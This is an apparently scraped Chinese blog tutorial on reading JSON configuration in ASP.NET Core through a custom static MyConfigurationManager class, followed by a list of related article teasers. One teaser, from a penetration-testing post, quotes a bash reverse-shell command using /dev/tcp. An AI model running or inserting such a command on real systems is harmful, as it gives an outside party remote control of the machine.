MVC + EFCore 完整教程19-- 最简方法读取json配置:自定义configuration读取配置文件
问题引出
ASP.NET Core 默认将 Web.config移除了,将配置文件统一放在了 xxx.json 格式的文件中。
有Web.config时,我们需要读到配置文件时,一般是这样的:
var value1= ConfigurationManager.ConnectionStrings["connStr"].ConnectionString;
这个ConfigurationManager是在System.Configuration 命名空间下的。
很不幸,默认情况下这个方法也不能用了。
如果在Controller需要读取配置文件,在Startup.cs文件中注册相关服务,可以类似于注册context一样:
// 1、注册相关服务,类似于如下的XXXContext的例子
services.AddDbContext<XXXContext>(XXX 。。。
// 2、controller读取
然后在具体controller的构造函数中作为参数获取。
类似于:
private IConfiguration _configuration;
public XXXController(IConfiguration configuration)
{
_configuration = configuration;
}
具体实现方式已有多篇文章讲解,请自行搜索,不再赘述。
这种方式引出两个问题:
1、多数controller是需要读取context的,但不是每个controller都需要读取配置文件,这种方式不够简洁
2、如果我们需要在controller之外的其他类文件中读取呢?
我们仿照ConfigurationManager读取Web.config中文件的方式,自定义一个MyConfigurationManager 类。
我直接在上一篇文章中的示例程序添加演示。
详细步骤
步骤一:准备好素材,appsettings.json添加配置项
"GrandParent_Key": { "Parent_Key": { "Child_Key": "value1" } },
"Parent_Key": { "Child_Key": "value2" },
"Child_Key": "value3"

步骤二:添加 MyConfigurationManager.cs

/// <summary>
/// 获取自定义的 json 配置文件
/// </summary>
static class MyConfigurationManager
{
public static IConfiguration AppSetting { get; }
static MyConfigurationManager()
{
// 注意:2.2版本的这个路径不对 会输出 xxx/IIS Express...类似这种路径,
// 等3.0再看有没其他变化
string directory = Directory.GetCurrentDirectory();
AppSetting = new ConfigurationBuilder()
.SetBasePath(directory)
.AddJsonFile("myAppSettings.json")
.Build();
}
}
步骤三:调用
我们去HomeController中添加一个测试方法
public IActionResult ConfigTest()
{
string value1 = MyConfigurationManager.AppSetting["GrandParent_Key:Parent_Key:Child_Key"];
string value2 = MyConfigurationManager.AppSetting["Parent_Key:Child_Key"];
string value3 = MyConfigurationManager.AppSetting["Child_Key"];
return View();
}
加个断点调试一下,可以看到输出了想要的结果。
总结
通过自定义的Configuration方法可以方便读取json文件。
获取配置文件路径时,AppContext.BaseDirectory在 .net core 2.2和2.1不一样,
如果事先用的2.2模板,需要右键项目,将target framework设为2.1

P.S. 路径获取这块给出一个通用的方法,这样2.1和2.2就都满足了,如下:
var fileName = "appsettings.json";
var directory = AppContext.BaseDirectory;
directory = directory.Replace("\\", "/");
var filePath = $"{directory}/{fileName}";
if (!File.Exists(filePath))
{
var length = directory.IndexOf("/bin");
filePath = $"{directory.Substring(0, length)}/{fileName}";
}
祝 学习进步 :)
P.S. 系列文章列表:https://www.cnblogs.com/miro/p/3777960.html

MVC + EFCore 完整教程19-- 最简方法读取json配置:自定义configuration读取配置文件的更多相关文章
- MVC+EFCore 完整教程18 -- 升级分布视图至 View Component
之前我们详细介绍过分布视图(partial view),在有一些更加复杂的场景下,.net core为我们提供了更加强大的组件 view component, 可以认为view component是 ...
- MVC + EFCore 项目实战 - 数仓管理系统2- 搭建基本框架配置EFCore
本次课程就正式进入开发部分. 首先我们先搭建项目框架,还是和之前渐进式风格保持一致,除必备组件外,尽量使用原生功能以方便大家理解. 开发工具:vs 2019 或以上 数据库:SQL SERVER 20 ...
- 开源题材征集 + MVC&EF Core 完整教程小结
到目前为止,我们的MVC+EF Core 完整教程的理论部分就全部结束了,共20篇,覆盖了核心的主要知识点. 下一阶段是实战部分,我们将会把这些知识点串联起来,用10篇(天)来完成一个开源项目. 现向 ...
- MVC+EFCore 项目实战-数仓管理系统1
项目背景及需求说明 这是一个数据管理"工具类"的系统,计划有三个核心功能: 1.通过界面配置相关连接字符串,查询数据库的表数据. 2.配置相关模板,生成数据库表. 可以界面填报或通 ...
- MVC5+EF6 入门完整教程11--细说MVC中仓储模式的应用
摘要: 第一阶段1~10篇已经覆盖了MVC开发必要的基本知识. 第二阶段11-20篇将会侧重于专题的讲解,一篇文章解决一个实际问题. 根据园友的反馈, 本篇文章将会先对呼声最高的仓储模式进行讲解. 文 ...
- ASP.NET MVC 5 学习教程:Details 和 Delete 方法详解
原文 ASP.NET MVC 5 学习教程:Details 和 Delete 方法详解 在教程的这一部分,我们将研究一下自动生成的 Details 和Delete 方法. Details 方法 打开M ...
- ASP.NET + MVC5 入门完整教程七 -—-- MVC基本工具(上)
https://blog.csdn.net/qq_21419015/article/details/80474956 这里主要介绍三类工具之一的 依赖项注入(DI)容器,其他两类 单元测试框架和模仿工 ...
- ASP.NET + MVC5 入门完整教程三 (下) ---MVC 松耦合
建立松耦合组件 MVC 模式最重要的特性之一视他支持关注分离,希望应用程序中的组件尽可能独立,只有很少的几个可控依赖项.在理想的情况下,每个组件都不了解其他组件,而只是通过抽象接口来处理应用程序的其他 ...
- Taurus.MVC WebAPI 入门开发教程4:控制器方法及参数定义、获取及基础校验属性【Require】。
系列目录 1.Taurus.MVC WebAPI 入门开发教程1:框架下载环境配置与运行. 2.Taurus.MVC WebAPI 入门开发教程2:添加控制器输出Hello World. 3.Tau ...
随机推荐
- 【题解】搬书-C++
搬书 Description 陈老师桌上的书有三堆,每一堆都有厚厚的一叠,你想逗一下陈老师,于是你设计一个最累的方式给他,让他把书 拿下来给同学们.若告诉你这三堆分别有i,j,k本书,以及每堆从下到上 ...
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- 记一次java.lang.NoClassDefFoundError异常
前阵子做了个评论过滤敏感词的功能,本地测试没有任何问题,然后就部署到线上服务器,通知相关人员线上测试.大约过了十来天,那货和我说接口出问题了,当时一脸懵逼,用了十来天突然出问题了???好吧,出问题了咱 ...
- Storm基础知识学习
概述 Storm是一个免费开源的分布式实时计算系统.Storm能轻松可靠地处理无界的数据流,就像Hadoop对数据进行批处理 编程模型 spout:数据读取数据.接收数据.将数据写出到blot bol ...
- [PTA] 数据结构与算法题目集 6-7 在一个数组中实现两个堆栈
//如果堆栈已满,Push函数必须输出"Stack Full"并且返回false:如果某堆栈是空的,则Pop函数必须输出"Stack Tag Empty"(其中 ...
- 带新手玩转MVC——不讲道理就是干(上)
带新手玩转MVC——不讲道理就是干(上) 前言:这几天更新了几篇博客,都是关于Servlet.JSP的理解,后来又写了两种Web开发模式,发现阅读量还可以,说明JSP还是受关注的,之前有朋友评论说JS ...
- python课堂整理20----生产者消费者模型
一.实现功能:店铺生产包子,消费者来吃 import time def producter(): ret = [] for i in range(10): time.sleep(0.1) ret.ap ...
- hdu3416+hdu6582(最短路+最大流)
题意 hdu3416: 给一个图,边不能重复选,问有多少个最短路 hdu6582: 给一个图,问最少删除边权多少的边后,最短路长度增加 分析 边不能重复选这个条件可以想到边权为1,跑最大流,所以我们可 ...
- [转]PHP的类自动加载机制,spl_autoload_register使用介绍
转自 http://blog.csdn.net/hguisu/article/details/7463333: 在PHP开发过程中,如果希望从外部引入一个class,通常会使用include和requ ...
- SpringBoot Admin 使用指南
什么是 SpringBoot Admin? Spring Boot Admin 是一个管理和监控你的 Spring Boot 应用程序的应用程序.这些应用程序通过 Spring Boot Admin ...